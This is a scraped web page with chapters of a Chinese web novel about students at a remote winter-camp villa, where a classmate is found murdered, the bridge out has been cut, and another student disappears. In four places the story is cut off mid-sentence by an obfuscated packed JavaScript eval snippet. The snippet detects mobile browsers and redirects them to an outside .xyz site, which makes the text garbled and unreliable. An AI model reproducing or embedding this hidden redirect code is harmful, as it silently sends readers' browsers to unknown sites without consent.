指导老师象征性地劝了几句,就将男生们的抱怨当耳旁风了。毕竟是男孩子,骄纵起来是劝不动的,反正待会儿下了车,不愿意走也得走。 梁小诺看了一眼自己的外套,反正肯定是不能穿了,但他又没有带多余的棉袄,心里正发愁着,就听见身后响起一道金属碰撞的声音。 他回头看去,就见后座的贺晴天打开了行李箱,从里面拿出一件棉袄,接着直起身朝前方看来时,正好对上了他的目光。 对方见状朝他露出了一个温和的笑容,将怀中的棉袄朝前递了过来。 “你那件衣服应该穿不了,不介意的话,可以先拿我的对付一下。”贺晴天说。 梁小诺眨了眨眼,心中还有些犹豫,对面已将衣服又往前递了递,示意他接住。 梁小诺道了谢,将衣服接过来后,又有些紧张地补充道:“我会小心的,不会弄脏。” 贺晴天笑道:“没事,你放心穿吧。” 车子停稳后,带队老师先下了车,又招呼同学们依次下来了。 这回那四个男生总算没再闹什么幺蛾子,大家很快走下车排好了队。 司机阿姨开着车离开了,没了客车的轰鸣声,山野间显得寂静苍茫极了,只能听到小兽在林间或雪上奔跑跳跃的声音。 指导老师提醒道:“雪天路滑,大家慢点走,跟紧我,不要掉队了。” 令人意外的是,老师并没有带她们走大路,而是转道往林野间去了。 毛衣选手忍不住问道:“老师,咱们确定没走错吗?” 指导老师看了她一眼,笑着回答:“放心,林霜同学,这次的集训点有些特殊,我提前确认过好几遍,绝对不会错的。” 既然老师都这样说了,大家便打消了疑虑,乖乖跟在对方身后继续前行了。 山野间的路实在不好走,泥土上覆着雪,双脚踩在上面很容易陷进去,大家深一脚浅一脚地走着,不仅费力,碰到雪化后湿润的泥土还容易弄脏鞋子,偶尔有的雪堆得比较深,雪粒还会从鞋口钻进来,冻得人一个哆嗦。 贺晴天早有先见之明,来时就换上了长筒靴子。剩下人就有些不好受了,半个小时走下来,一双脚几乎快要被冻得失去知觉。 原本美妙梦幻的冬日雪景在这样的辛苦跋涉下,也失去了它的吸引力,大家疲于奔波,早没那闲情逸致去欣赏美景了。 沈安宴已经开始后悔为什么要没事儿找事儿来参加冬令营,虽然租房的条件也挺差,但总好过大冬天的来雪地里徒步。 她跺了跺脚,勉强让僵冷的双脚恢复了一点知觉,转头看身旁的顾辞江时,就见对方微微皱着眉,面色也不怎么好,但还是强忍着不适往前走。 沈安宴心里那点郁闷瞬间消失了,她有点心疼地开口问道:“不舒服吗?要不要我背你?” 顾辞江看她一眼,皱着的眉在听到对方这句话时瞬间松开了。他颇有点好笑地回答道:“还能坚持。而且雪地不好走,你要是真背着我,万一咱们两个待会儿一起摔倒了怎么办?” 沈安宴拍拍胸脯:“我臂力好着呢,才没那么容易摔倒!而且要是真摔了,我肯定会护好你,绝对不会让你受一点儿伤!” 顾辞江忍不住轻轻笑了笑。他摇摇头,无奈道:“好好走你的路吧。” 贺晴天慢下脚步,和周天并排一边聊天一边往前走着。 倒是令周天有些疑惑地问道:“真稀奇,你这回怎么不去找盛宴聊天?” 贺晴天轻咳一声,笑着道:“怎么,我就非得跟盛宴聊天,不能和你聊吗?” 周天白她一眼:“用不着客套。” 贺晴天便扬了扬下巴,向她示意了一下前面二人黏黏糊糊的背影:“因为不想做电灯泡。” 她说完这句话后,却半天没听着对方回应,不禁有些疑惑地转头看去,就见周天露出了一脸震撼的表情。 贺晴天:“……?怎么了吗?” 周天茫然道:“呃……他们俩原来谈恋爱了啊?” 贺晴天:“……这不是明眼人都能看出来的吗?” 周天捏了捏眉心:“呃,行吧,我眼瞎。” 倒是旁边的耳坠男听见二人的交谈,笑嘻嘻地凑过来打听道:“哎,同学,你们四个是一个学校的?” 贺晴天没说话,周天没有多想,随口“嗯”了一声。 耳坠男道:“那还真厉害,不是都说谈恋爱会影响学习吗?那他们俩——” 他看了眼前面沈顾二人的背影,调侃道:“都是重点高中的学生,还都入围了全国赛,长得好看成绩又好,简直是小说里才会有的设定。” 周天心说有这么夸张吗,不过面上还是客客气气地回了声:“是吗?” 耳坠男笑着说:“当然啊,不过……” 他回头瞥了眼跟在不远处的梁小诺。对方身上的棉袄于他而言有些宽大,穿在身上衬得他的身形更加单薄纤细了。冷风吹在他的脸上,让他白皙的皮肤泛起了一层薄薄的红,竟是在原本精致秀美的容貌上平添了一抹艳丽。 真是让人怎么看怎么不顺眼。 耳坠男撇撇嘴,但回过头时又重新挂上了柔和的笑容:“那他们俩感情也一定很好吧?哎,我们班的小诺,可能不清楚他们的情况,非要一个劲儿地往别人女朋友跟前蹭,应该没惹人家男朋友生气吧?” 周天有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509493|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点蒙:“那个,‘小诺’是谁?” 耳坠男脸色一僵。 贺晴天很不给面子地笑出了声。 沈安宴听见后面的笑声,转过身一边走一边问道:“你笑什么呢?遇见什么好笑的事儿了,给我也讲一讲?” 顾辞江也转过头好奇地看了二人一眼,不过很快又回过去拉了沈安宴一把,提醒道:“小心些,你倒着走也不怕撞到树。” 沈安宴笑道:“反正有你看着嘛,要撞到了提醒我一句不就行了?” 贺晴天调侃道:“得,你俩接着腻歪去吧,我这儿的笑料可没你俩的互动有意思。” 沈安宴朝她笑了笑,总算转回去好好正着走路了。 ———— 行至尽头,远方逐渐显现出了一点房子的轮廓,其色彩艳丽在这万物凋敝的冬日格外瞩目。 一行人加快了脚步,从森林里走出后,房子的完型终于在她们眼中显示了出来。 那的确是一座非常漂亮的房子……不,一般房子可没有它那么大,准确来说,这应当是一座造型复古华美的别墅。 棕红的屋顶,象牙白的墙壁,角落的棱柱上刻有繁复的花纹,窗户周围点缀有绢花一类的装饰品。这座别墅又建在深山森林之中,因此更有一番神秘幽静的韵味。 大家出来后一连发出了两声惊叹。 第一声自然是为她们接下来一个月即将入住的豪华集训点而惊喜。 至于第二声…… 就是她们现在站的地方,和别墅所在的地方,隔了一道断崖。 过去倒是也能过去,两岸间有一条由绳索和木板搭起的吊桥,但看起来总之不是那么牢靠就是了。而且从上往下看去,只能看到深不见底的黑暗。若真要这么过去,还是很考验胆量的。 这次不用林霜说,大家也都感到疑惑了。 贺晴天问道:“老师,这真是我们这次的集训点吗?” 周天也奇怪道:“不是说集训点在公寓里吗?” 指导老师语气温和,耐心地同大家解释道:“原本是打算继续沿用前些年的集训点,但是考虑到这届入围人数只有十人,原先的集训点都是供五十人左右的队伍使用的,难免会造成浪费。所以竞赛组经过考量,最终申请了这里作为本次的集训点。” 似乎有点道理? 林霜问道:“但……别墅不应该比公寓更贵吗?” 指导老师解释道:“是这样,但公寓比别墅可容纳的人数更多……一个环境差些,但可以住更多人,一个虽然能住的人少,但环境更好。反正冬令营的经费是固定的,既然这样,那选后面那个人少条件好的不是更划算吗?” 似乎也说得通? 指导老师说到这里,脸上露出了一点尴尬的神色:“我们当时是这样讨论的,不过,等到实际执行时,发现结果和预期之间出了一点小差错。别墅需要的房租比公寓的确高出了一些,但还在可控范围内,只要在别的地方省一些,还是能租得下的。而且……” 她点点头,说出了那句老生常谈——“来都来了,计划都做好了,不租岂不是太可惜,所以就……” 好的,不用说了,大家都明白了。 42. 别墅 沈安宴扶了扶额,这何止是说得通,简直是前因后果都串联起来了。 难过来繁花市时临时落脚的酒店寒酸成那样,去往常青山的客车紧凑成那样——原来都是因为没钱啊? 指导老师一路上看起来倒是人淡如菊一副很靠谱的样子,结果背地里竟然是个梦到哪儿干到的哪儿的性子。 真是人不可貌相。 既然疑虑都解释清楚了,接下来就是如何过桥的问题。 耳坠男光看一眼那摇摇晃晃的吊桥就吓得腿软,更别说走上去了。 和他一处的三个男生也连连摇头,说什么也不敢上去。 指导老师安慰道:“大家不用怕,这座桥前几天刚经过检修,看着吓人是吓人了一点,但绝对结实。” 见那四个男生依旧战战兢兢,她只得妥协道:“大家先试试看吧,要是实在害怕,可以留到最后,我背你们过去。” 嗐,当带队老师还挺不容易的。 沈安宴看了一眼那群男生,四个人听完指导老师最后那句话后,立刻自觉地排到了队伍末尾,打定了要老师背过去。 她没再多感慨,而是凑到顾辞江身边,小声问道:“你怕不怕,怕的话我背你过去?” 顾辞江无奈地笑了笑:“不怕,你放心好了。” 两人说话的功夫,对面班长林霜和她们这边的贺晴天已经相继走了上去,接着是周天。二人见状也不再耽搁,一起上了桥。 桥面比她们预想中的还要平稳,晃动得并不剧烈。只要不往下看,走过去还是很容易的。 几人顺利过了桥,又等指导老师将那四个男生一个个背过来后,一行人才一起进了别墅。 等到真进来后,大家才明白为什么竞赛组会在租房上花费那么多—— 这座别墅外观已经足够漂亮了,而里面的装潢陈设更是奢靡豪华。 地板上铺着厚厚的羊毛毯,墙壁上布置着花束、挂画、鹿头等各式各样的装饰品,水晶吊灯和桌上的烛台打下的光线恰到好处,足够人们视物,又不至于太过明亮,破坏屋内神秘幽静的氛围。 贺晴天惊叹道:“真漂亮,我可以原谅咱们第一天来时住的那个旅馆了。” 沈安宴点点头:“是很好看,和我们家老宅都有的一拼了。” 贺晴天奇怪道:“什么老宅?” 沈安宴轻咳一声:“那什么,我说梦话呢……不过竞赛组这回的确是花了大血本。” 贺晴天深以为然:“确实,能租得起这样的房子,又是在山里,估计不便宜。” 指导老师让大家在门口换上干净的拖鞋,才带着一行人进了客厅。 她讲解道:“这栋别墅总共有两楼,一楼是客厅和厨房,我们集体活动基本都会在这里举行。二楼就是我们休息的地方,总共有十三间客房,格局都差不多。公平起见,我们抽签来决定住哪间,当然,也不用太死板。如果抽签后有想要调整的,彼此间都同意的话,也可以互换房间。” 见大家没有异议,指导老师便拿出准备好的信封,房间号码牌就装在里面,让大家依次抽取。 拿过号码牌,就可以上楼去各自的房间休整了。 去房间的路上,贺晴天有些遗憾地朝沈安宴说道:“单人单间是挺好,但之前想着要是住双人间,还可以和你一起住宿,现在看来是实现不了了。” 沈安宴闻言笑道:“你要是想住的话还是可以的啊,我不介意跟你睡一张床。” 贺晴天轻咳一声:“嗯……那还是算了,两个人睡好挤。” 沈安宴闻言捂住胸口,一脸心痛的样子:“什么?原来你想和我住一起只是嘴上说说而已?连这点困难都不愿意克服,你这个冷漠无情的女人,我再也不要原谅你了!” 贺晴天默默扶额:“好了好了,别说了,丢不起这人。” 沈安宴正“嘎嘎”乐着,就跟拐角处突然走出来的一个人撞上了。 “小心!”身侧的顾辞江忙拉了她一把。 好在对面也停得及时,两人没有撞得太狠。 沈安宴止住步子,忙道了声抱歉。贺晴天帮忙把对面撞掉的东西捡起来,是一个用麻布包起来的包裹,摸起来有点硌手,还挺沉的,似乎是装了金属一类的东西。 她将包裹递给对方,也跟着道了声抱歉。 和她们撞上的人看样子应该是别墅里的工作人员,对方身材瘦长,穿一身耐脏的黑衣服,戴着帽子和口罩。从颈间的一点凸起和生出了皱纹和暗斑的皮肤可以辨认出,对方大概是个中年男人。 男人迅速接过了贺晴天递来的包裹,又以一种奇怪的目光看了她好几眼,但什么也没说,抱着东西又匆匆离开了。 这幅态度倒让贺晴天有些摸不着头脑。 沈安宴也忍不住吐槽:“这人真怪,竞赛组请的都是什么工作人员……” 贺晴天摇摇头:“可能他有什么急事吧?” 几人没再多纠结这场意外,继续往房间走了。 别墅里暖气开得很足,沈安宴把行李在桌上放好,换上合适的衣服,再把两只脚烤暖和,时间就已经过去了大半。 这座别墅几乎在每一处地板上都铺了毛毯,脚踩在上面毛茸茸暖乎乎的,非常舒服。而且有毛毯做缓冲,在上面走路几乎发不出声音,没有脚步声打扰,让别墅里显得更加安静了。 比如现在,沈安宴的房间门口忽然响起了敲门声,但此前她却没有听见一点儿有人往这边走的动静。 不过这样也挺好,如果晚上有人在外面走廊上走路,也不用担心会被吵醒影响睡眠。 “小宴,老师让我们下去一起吃晚饭,要不要一起?” 是贺晴天的声音。 沈安宴应了一声“来了”,就穿上拖鞋去开了门。 走廊上的门开着不少,选手们都出了屋子,陆陆续续地正往下走。 沈安宴和顾辞江的房间正对着,对面也正好在这时开了门,沈安宴便将对方拉过来一起下楼了。 整栋别墅只有餐厅和厨房没有铺地毯,地板是大理石铺就的。桌子上铺着洁白的桌布,其间点缀有烛台和插花,每个座位前都已摆好了餐食。 几人到这里时,遇见了先前那个中年男人,对方正将最后一份餐食在末座摆好,接着就捧着毛巾,在角落里站着了。 对方或许是别墅里的服务人员?沈安宴没再多想,找了三个连在一起座位,在中间坐下了。贺晴天和顾辞江分别在她的一左一右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈安宴她们和林霜周天二人几乎是前后脚走的,上楼时两波人不出意外遇上了。 沈安宴借机问道:“你们好像都没吃鸡排?” 贺晴天道:“我是没什么胃口,不太想吃。” 周天耸耸肩:“因为难吃。” 沈安宴:“?你好像根本没吃吧,怎么得出来难吃的?” 周天道:“这有什么得不出来的,你看那块肉的品相,还有味道,明眼人都能看出来,品质绝对不怎么样。” 沈安宴:“……好吧,我眼瞎。” 顾辞江闻言不禁莞尔,见对方看向自己,便解释道:“我也差不多,吃不惯那个,又不是很饿,就没吃。” 最后就剩林霜了,见众人都看向自己,她便简略回答道:“我养生,晚饭不吃热量太高的。” 这么看来,晚餐的事似乎只是一场意外?沈安宴想着。 和同伴们道过晚安,沈安宴回到房间,简单洗漱过后,就躺在床上开启例行的睡前刷手机时光了。 社交软件上弹出了“您的新的未读消息”提示语,她点开查看,是林跃她们发过来的,好奇她的冬令营进行得如何。 沈安宴一一回复过,又把路上拍的照片发过去。等了一会儿没等到回复,时间也不早了,第二天还要培训,她没打算继续熬,关掉手机就去睡觉了。 43. 血色 晨光透过纱帘,倾洒进卧室里,为柔软的被褥覆上一层暖黄色的日光。 沈安宴抱着被子蹭了蹭,又将脑袋往枕头里陷了陷,赖床赖够了后,才依依不舍地从床上爬起来,关掉床头的闹铃开始洗漱。 这又是冬令营一个讨厌的点,她不能再每天睡到自然醒了。 换好衣服,沈安宴打了个哈欠,一边往门外走,一边编辑给贺晴天和顾辞江发送的“我准备好了,在走廊等你们”的信息。 信息发过去后,沈安宴也正好打开了门,结果就见被她发信息的那两位正等在门口,一个在低头查看手机,另一个听见门响,恰好和她对上了视线。 沈安宴:“哎?你们起得这么早?” 顾辞江笑着点点头,道了声:“早安。” 贺晴天收回手机,看向她笑道:“我说谁一大早给我发信息呢。” 沈安宴挠了挠鼻子,和二人一边往下走,一边解释道:“我以为我起的够早了,没想到你们俩比我还要早。” 餐厅里的长桌已摆上了新鲜的早点,热乎乎的海鲜粥,香甜的奶黄包,还有一碟爽口小菜。 沈安宴坐下时朝四周看了看,没见到昨晚那个侍立在角落的工作人员,心下有些奇怪。 贺晴天又在看手机了,她划拉了一会儿屏幕,轻轻皱了皱眉,朝沈安宴问道:“小宴,你有收到江小松她们给你发的消息吗?” 沈安宴道:“噢,这个,有。昨天晚上她们问我在冬令营玩儿得怎么样,我给她们大概说了一下……” 说到这里,她也拿出了自己的手机,点开聊天软件查看,结果只看了“暂无新消息”的系统提示。 她轻轻“咦”了一声,奇怪道:“不过目前还没有收到她们的回复,不应该啊。陈杉和江小松应该都不会睡得太早,按理说昨天晚上就能看到我的消息了。林跃起得也挺早,就算昨天晚上没看到,现在应该也看到了吧……” 顾辞江正准备喝粥,听到二人的交谈便停下了手上的动作。 “我这边也是,昨天刚到这里就给家里人发了报平安的信息,但一直到现在也没收到回复。” 三人讨论一阵,觉得这件事多少有些奇怪,因此在见到指导老师时,沈安宴将这个疑问向对方提了出来。 “这样吗?”指导老师有些诧异地睁大了眼睛,她思考了一会儿,笑着安慰道:“不过不用担心,等吃完早饭,我会去找工作人员一起,检修一下这里的网络。” “噢噢好的……”沈安宴点头点到一半,忽然想起什么,又问道:“老师,昨天在这里的工作人员呢,我们今天早上来的时候好像没有看到他。” 指导老师也朝四周看了看,的确没有见到中年男人的身影。她低头想了想,说道:“他可能是去打扫别墅卫生了吧?” 沈安宴有点蒙:“呃……打扫卫生?他不是专管厨房的吗?” 指导老师脸上再次露出了有些尴尬的笑容:“咳……他能做的比较多……” 沈安宴无语:“能做的多也不是这么算的吧……” 她忽然意识到什么,话说从昨天到别墅后,一直到现在,她们似乎只见过中年男人这一个后勤人员? 沈安宴有些不可思议地问道:“老师,这里该不会,就这一个工作人员吧?” 指导老师眼神游移:“呃……你们知道的,经费不足……” 沈安宴:……这竞赛组到底是个什么品种的草台班子?! 沈安宴扶额:“行吧,我好像对没信号这事儿都能理解了,这该不会也是经费不足的问题吧?” 指导老师忙澄清道:“这绝对不是,网线是别墅自带的,不是我们弄的,不会这么不靠谱。” 沈、贺、顾:…… 所以你也知道你们不靠谱啊? 待选手们来齐后,指导老师起身清点了一下人数,而后她的眉头慢慢皱了起来。 “少了一个人……赵西西,有人知道赵西西为什么没来吗?”指导老师问道。 赵西西就是那四个男生其中之一,耳坠男几人闻言总算停止了对隔座梁小诺各种阴阳怪气的打量与嘲弄,其中一人起身答道:“老师,我们今早下来时叫过他,但房间里没人答应,我们还以为他提前走了。” 指导老师道:“谁和他关系好,麻烦上去叫一下他吧。今天要培训,如果没有特殊情况,能来还是尽量来。” 起身答话的那个男生正准备走,却被耳坠男一把拉住了。 耳坠男朝红发男递去一个眼神,红发男立时心领神会,笑着说道:“梁小诺,你去找赵西西呗,他和你关系不是最好了吗?” 梁小诺身子抖了一下,有些恐惧地摇头推拒道:“我……我不是……” 耳坠男眯起眼睛笑道:“去嘛小诺,你们关系不是可好了吗?” 梁小诺嘴唇哆嗦了片刻,仍没能说出什么话,只得慢慢站起身,朝楼梯口走去。 贺晴天看不过眼,想要跟上去帮忙,耳坠男见状忙道:“哎同学,你一个女生,不好去叫男孩子起床吧。万一人家正换衣服呢……多尴尬的不是?” 贺晴天皱了皱眉,对方话说到这份儿上,她再坚持跟过去的确不合适,只得重新坐了回来。 顾辞江叹了口气,起身追了上去。 耳坠男一怔,但对方离开得太快,他没来及阻止,只得悻悻地哼了一声。 沈安宴也站了起来,朝指导老师说了声“我跟过去看看能不能帮什么忙”,就跟着一起离开了餐厅。 这下有两个人陪着一起,梁小诺的身体总算不抖了。他小声朝跟过来的二人道了声谢,就乖乖走在一边不说话了。 顾辞江安慰了他几句,又转过头朝沈安宴问道:“你怎么也来了?” 沈安宴眨眨眼:“想陪你一起。” 顾辞江轻轻笑了笑。 三人很快就到了赵西西房间门口,梁小诺把头埋得低低的,犹豫半晌也不敢上去敲门。顾辞江便主动上前敲了敲门,可过了好一会儿也不见有人答复。 沈安宴站得累了,正想跺跺脚,结果却踩了一脚水。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521666|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里奇怪,走廊上哪儿来的水,低头看去时,就发现脚下的地毯不知为何忽然湿了一大片,并且湿润的面积还在不断扩大。 她朝二人提醒道:“你们看脚下。” 经她提醒,另外两人也注意到了这突如其来的水流,梁小诺惊呼一声,忙向后退了几步,缩着脖子问道:“这……这哪儿来的水?” 顾辞江也退到了干净的地方,他四处搜寻一番,摇摇头道:“也没见有花瓶什么的倒下……” 那片水迹仍在扩大,沈安宴走到被浸湿的地毯上,发现各处湿润的程度是不一样的,越往赵西西的房间门口走,地毯上的积水就越多。 “这水好像是从房间里流出来的……” 沈安宴一边说,一边用力敲了敲门,门内依旧没有任何应答。她便不再犹豫,转头朝身后二人问道“你们有人带发卡……总之上面只要有钢丝或者铁片就行。” 梁小诺闻言忙从口袋里掏出一只细长的黑色发卡递过去:“这个可以吗?” 沈安宴点点头,接过后将发卡尖锐的一端利落地插进锁孔内。好在别墅的房间也是用钥匙开的,而不是刷卡。她将发卡在锁孔里扭动几下,随后抓住门把手将门用力往外一拉—— 随着“咔嚓”一声轻响,门开了。 梁小诺惊叹道:“好厉害。” 顾辞江也诧异道:“你……你怎么还会这个?” 沈安宴随便找了个借口:“生活所迫。” 至于顾辞江怎么理解她这个生活所迫法,沈安宴就不能控制了。 不过现在也不是纠结这些的时候。因为在门打开后,一阵强烈的血腥味扑面而来。 房间里的积水更加明显了,几人很容易就能看到。尤为显眼的是,水里还混杂着一点红色。水是从浴室里流出来的,越靠近浴室,水里的红也就越多,直到浴室门口,几乎就是一片血水。 沈安宴沉下脸色,迅速走进了房间。 浴室的门只开了一条小缝,她将门打开,抬眼朝里望去—— 浴缸上的水龙头正不断地往下滴水,而在浴池里面,则躺着一个□□的少男,他的颈部被割开了一个大窟窿,血液与池中的水融在一起,从浴缸里不断溢出。 地毯上的积水源头正是此处。 “啊啊啊啊啊!!!!!” 身后响起一道刺耳的尖叫。 沈安宴回过头,就见顾辞江和梁小诺站在她身后,刚才那一幕也撞入了二人眼中。 那声尖叫就是梁小诺发出来的,他踉跄了一下,好在身后就是墙,撑住了他跌跌撞撞的身子,方才避免了摔倒。 顾辞江神色凝重,知道浴室里发生了什么后就没再多看。 沈安宴三两下将浴缸上的水龙头关掉,又迅速合上了浴室的门。 从浴室走出后,她注意到顾辞江虽然勉强保持着镇定,但手却微微抖着。 她握了握对方的手,轻声安慰了一句:“别怕”。 见对方冷静下来,她方才松开手,朝两人提醒道:“我们先出去。” 44. 失踪 沈安宴将两人带出房间后,贺晴天和林霜也先后从楼下跑了上来。 “发生什么事了?”林霜问道。 “没出什么事吧?”贺晴天问道。 梁小诺方才那一嗓子喊得快把别墅屋顶给掀翻了,餐厅里的人自然都听到了。 林霜和贺晴天跑得最快,周天随后也赶来了。 她刚站定下来就皱起了眉,轻轻踩了几脚被水浸湿的毛毯,问道:“怎么回事,哪儿来这么多水……还有,什么味儿?” 刚才大家赶得急,还没察觉到异常,经她这一提醒,几人方才意识到了不对。 贺晴天道:“是漏水了吗?这水……怎么是红色的?” 沈安宴道:“因为死人了。” 周天翻了个白眼:“是啊,这水都快把走廊给淹没了,再这么漏下去,咱们都要被淹死了。” 沈安宴:“……真的死人了,赵西西死了。” 这话一出,走廊上一时鸦雀无声。 贺晴天道:“这……是在开玩笑吗?” 但沈安宴沉重的面色,和顾辞江低头不语的态度,以及梁小诺瑟瑟发抖的身体无一不显示出了这样一个事实—— 沈安宴说的话是真的。 林霜皱了皱眉:“我进去看一下。” 顾辞江出声阻止道:“这不太方便……他躺在浴缸里。” 林霜微微一怔,没再坚持要进去看了。 其实也不必非要见到尸体,从浴室门口汩汩涌出的鲜血已经证实了房间住客的死亡。 沈安宴道:“我下去找老师,麻烦你们陪一下辞江和梁小诺。” 她嘱咐完这句话后,就飞奔下了楼。 餐厅里,那三个男生还不知同伴的死亡,正津津有味地享用着早点。见沈安宴回来了,还笑嘻嘻地问道:“哎同学,梁小诺刚才为什么突然叫啊?是惹赵西西生气了吗?” 沈安宴没理他们,而是走到指导老师身旁,用只有二人能听见的音量将楼上发生的事快速复述了一遍。 等她说完事情的经过后,贺晴天她们也回到了餐厅。梁小诺仍没从恐惧中缓过神来,还在抱着胳膊愣神,他这幅样子又惹得耳坠男三人嬉笑不止,不过这回梁小诺已经没有余力去在意这个了。 指导老师听完神色一肃,点头应道:“我知道了。你们先在这里等一下,记住,不要单独行动,尽量待着一起,我很快回来。” 她说完这段话,就起身往楼上去了。 这下耳坠男三人就是再蠢,也从指导老师严肃的面色中意识到了不对。再看对面几人脸色都是如出一辙的沉重,耳坠男忍不住问道:“同学,这是出什么事了?” 林霜看了对面三人一眼,开口便是一个惊雷:“赵西西死了。” “什么?”三人失声道。 红发男焦灼道:“怎么会?怎么可能?你们开什么玩笑!” 他一边说着,一边就要起身上楼去看。 贺晴天虽对三人印象不太好,但此时还是制止道:“别动,在这里好好待着。” 红发男怒道:“你算哪根葱,我凭什么要听你的?” 林霜重重拍了一下桌子,吓得对面一个激灵,气势立马就下去了。 她冷声道:“赵西西的死不是意外,他是被人杀死的。现在还不清楚凶手是谁。你非要走我们也拦不住,路上要是莫名其妙死了,也怨不着我们。” 耳坠男忙将红发男拉了回来,朝几人连声道歉:“对不起对不起,我们不是故意的。只是……只是……” 他说着说着眼圈儿忽然红了:“只是忽然听说好朋友死了,实在有点……对不起……” 耳坠男说到这里,声音已经有些哽咽,忍不住捂住脸哭了起来。 红发男无措地看了他一眼,一时不知道该说什么,另一个男生拍了拍同伴的后背,也有点难过地擦了擦眼角的泪水。 贺晴天她们见状也不好再说什么重话,反过来还要安慰他们几句。 指导老师很快回来了。她没管餐厅里那三个男生哭哭啼啼的情况,干脆利落地做出了决定:“现在,大家立刻收拾收拾,穿好衣服,带好食物和水,拿上充电宝和手机,咱们下山。” 这个决定似乎有些突然,但细想也是最合适的选择。别墅的信号突然失灵,联系不了外界,唯一能做的就是尽快下山向外求助。 “不要害怕,不要着急,不要走散。现在还不到九点,我们下山的时间绰绰有余。大家按我说的顺序,一个一个来收拾。” 指导老师带着大家上了楼,说完这些后,又提醒道:“走廊上有水,大家走时小心些。好了,201是谁的房间,进去收拾东西,大家先在外面等着,同性别的同学都进去陪一下……” 在老师的指挥下,大家很快换好了厚实的衣服,将所需物资在书包里装好后,一行人离开别墅,就要下山时,却兜头砸下来一个晴天霹雳。 断崖之间空空荡荡,对岸的崖壁上挂着两条粗绳,绳上稀稀落落地坠着几块木板。 连接两边的吊桥,断了。 确切来说,是被人砍断的,因为别墅所在的这一岸,原本吊桥所在的地方有很明显的被斧头劈断的痕迹。 红发男哭丧着一张脸,焦灼道:“老师,这可该怎么办?” 林霜看了眼别墅身后的森林,斟酌着问道:“老师,从后面那边走可以吗?” 指导老师道:“按理说是行得通。但我只知道从前面出发下山的路,后面那里从来没走过……” 她拧眉思索了一会儿,最后还是下定了决心:“先试试吧!只要能走出森林,遇到大路,沿着路往下走总能走出去!” 这似乎是个好主意,可惜一行人第一步就遇到了困难。 别墅后方的森林积雪更深,而且土质更加松软,众人没走几步,半个身子都快要陷进雪里了。 最严重的是,这片森林里还有蛇窝,周天不小心就踩到了一个。还好她穿得厚,身旁的贺晴天反应又快,及时捏住了朝对方扑来的蛇的七寸,不然要是在这荒郊野外被毒蛇咬上一口,那可真就要玩儿完了。 指导老师很快放弃了从后方突围的想法。 “大家先回别墅吧,这样走实在太危险了,我先试试看能不能修好网线。”指导老师说。 一行人重新回到别墅,然而刚到路口,红发男忽然发出一声尖叫。 指导老师迅速回过头,开口问道:“怎么了?” 红发男结结巴巴地回答道:“王……王周不见了……” 王周就是他们的同伴之一。 指导老师皱了皱眉,问道:“什么时候不见的?” 红发男看起来快要哭了“我也不知道,我太害怕了,没怎么注意,刚刚想找他说话的时候突然发现人不见了……” 指导老师又将目光投向耳坠男:“你呢?你知道吗?” 耳坠男细声细气地回答:“我不清楚,我没跟他们两个一起走……” 耳坠男从一行人离开别墅后,就不动声色地脱离了原本的小团体。他知道贺晴天几人不待见自己,就努力跟林霜和周天打好关系,尽量和她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526045|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们二人一起行动。 他说到这里,看向红发男的目光中流露出些许责怪:“你怎么回事,王周不是一直和你走着吗?” 红发男连连摇头:“我不知道,我真不知道,我不是故意的……” 指导老师叹了口气,先利索将几人带进屋子,让大家在客厅里坐着,嘱咐过记得不要单独行动,不论干什么都要结伴同行,又让大家找些趁手的棍棒放在旁边,就立刻离开别墅去找落单的同学了。 红发男失魂落魄地坐在沙发上,无意识地搅动着手指。耳坠男则委委屈屈地抹着眼泪,朝女生们诉说着自己有多么担心失踪同伴的情况。周天平日里虽然嘴毒,但那只是对和自己相熟的人。碍于良好的教养,她不好说出什么拒绝的话,只得生不如死地听着耳坠男念经。贺晴天和顾辞江则陪梁小诺坐着,林霜和沈安宴坐在最外围,警惕着周围随时可能出现的危险。 墙上的钟表滴滴答答地走着,分针一圈一圈地转了过去,老师仍没有回来。大家早饭都没怎么吃,不过发生了这种事,大家对浮动着碎肉末的海鲜粥的确失去了食欲,也不太放心吃别墅里提供的餐食。好在几人来时带了些零食,勉勉强强也能充饥。 贺晴天缓了口气,默默将今天发生的一系列事在心中过了一遍,开口问道:“你们对凶手是谁有思路吗?” 周天早听烦了耳坠男的哭诉,见有话题可聊,忙不迭地接了下来:“哦,这个我也早想问了,你们有什么想法吗?” 